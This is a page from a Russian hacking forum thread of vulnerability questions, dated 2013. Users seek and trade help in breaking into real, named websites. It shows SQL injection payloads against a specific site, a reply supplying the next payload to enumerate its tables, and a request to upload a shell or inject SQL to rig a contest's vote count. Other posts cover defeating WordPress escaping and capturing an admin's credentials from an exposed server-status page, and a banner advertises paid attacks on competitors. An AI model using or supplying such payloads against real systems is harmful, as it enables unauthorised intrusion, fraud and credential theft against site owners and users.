Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2256 из 2438

2256

Опции темы

Поиск в этой теме

Опции просмотра

#22551

30.06.2013, 20:57

wkuzy

Новичок

Регистрация: 08.08.2012

Сообщений: 5

С нами: 7242806

Репутация: -5

Всем привет!

Кто подскажет,есть сайт ......../wechselbude/index.php?page=content&name=info

Если сделать так ......../wechselbude/index.php?page=content&name=(SELECT%20CONCAT(versi on(),user(),database()))

то выводит version 5.1.66-nmm3-log

user d01333ce@localhost

db d01333ce

но дальше вообще никак ни через union ни через and,

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /www/htdocs/w00db281/wechselbude/content/content.php on line 6

#22552

30.06.2013, 21:12

wkuzy

Новичок

Регистрация: 08.08.2012

Сообщений: 5

С нами: 7242806

Репутация: -5

Я с этими инклудами вообще не дружу

#22553

30.06.2013, 21:58

trololoman96

Участник форума

Регистрация: 01.12.2011

Сообщений: 120

С нами: 7604246

Репутация: 55

wkuzy,

Цитата:

Сообщение от None

http://hammjue.at/wechselbude/index.php?page=content&name=((select table_name from information_schema.tables limit 1,1))

#22554

30.06.2013, 22:08

wkuzy

Новичок

Регистрация: 08.08.2012

Сообщений: 5

С нами: 7242806

Репутация: -5

Цитата:

Сообщение от trololoman96

wkuzy,

Спасибо ,дальше я сам

#22555

01.07.2013, 18:00

Kirka121

Новичок

Регистрация: 16.05.2013

Сообщений: 2

С нами: 6838166

Репутация: 0

пытаюсь девочке помочь с хреновым контестом.

уверен что саит написан по левому.

кто поможет закачать шелл, или пробить SQL иньекцыю чтоб увеличить девочке колво votes?

саит; http://whowearsitbetter.com/2july.php

помогаю подруге и учусь уму разуму, помошь отблагадорю через paypal.

#22556

01.07.2013, 18:24

Kirka121

Новичок

Регистрация: 16.05.2013

Сообщений: 2

С нами: 6838166

Репутация: 0

ты когда в послендии раз первыи пост етои темы читал?

#22557

01.07.2013, 23:44

trololoman96

Участник форума

Регистрация: 01.12.2011

Сообщений: 120

С нами: 7604246

Репутация: 55

Цитата:

Сообщение от HAXTA4OK

может быть все таки замена по регулярке идет

Я нашел проблему. В файле самого вп. В wp-includes/load.php есть такое:

Код:

// Escape with wpdb.
	$_GET    = add_magic_quotes( $_GET    );
	$_POST   = add_magic_quotes( $_POST   );
	$_COOKIE = add_magic_quotes( $_COOKIE );
	$_SERVER = add_magic_quotes( $_SERVER );

	// Force REQUEST to be GET + POST.
	$_REQUEST = array_merge( $_GET, $_POST );

и сам код функции add_magic_quotes

Код:

function add_magic_quotes( $array ) {
	foreach ( (array) $array as $k => $v ) {
		if ( is_array( $v ) ) {
			$array[$k] = add_magic_quotes( $v );
		} else {
			$array[$k] = addslashes( $v );
		}
	}
	return $array;
}

Эта фигня портит всю малину. Я так понимаю что тут уже ничего не сделать ?

#22558

03.07.2013, 09:44

Br@!ns

Постоянный

Регистрация: 03.09.2010

Сообщений: 885

С нами: 8258006

Репутация: 25

Есть сайт с открытым /server-status, хочу попытаться выловить авторизацию админа, как это лучше сделать? мб можно как нибудь постоянно парсить все результаты выводимые, и через 1-2 дня к примеру проверить этот список?

#22559

03.07.2013, 12:07

BigBear

Новичок

Регистрация: 04.12.2008

Сообщений: 11

С нами: 9176038

Репутация: 8

Цитата:

Сообщение от Br@!ns

Ты только адрес админ-панели максимум выловишь.

Не, ну если авторизация идёт через GET - То да, поймаешь аутентификационные данные.

А так, максимум - адрес админ панели.

#22560

03.07.2013, 20:18

Voinmraka

Новичок

Регистрация: 23.11.2010

Сообщений: 25

С нами: 8141366

Репутация: 0

есть Phpmyadmin: 3.3.7deb7

можно ли на нем раскрыть пути? есть права рута

Страница 2256 из 2438

2256

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Создать сделку

Мои сделки

Сделка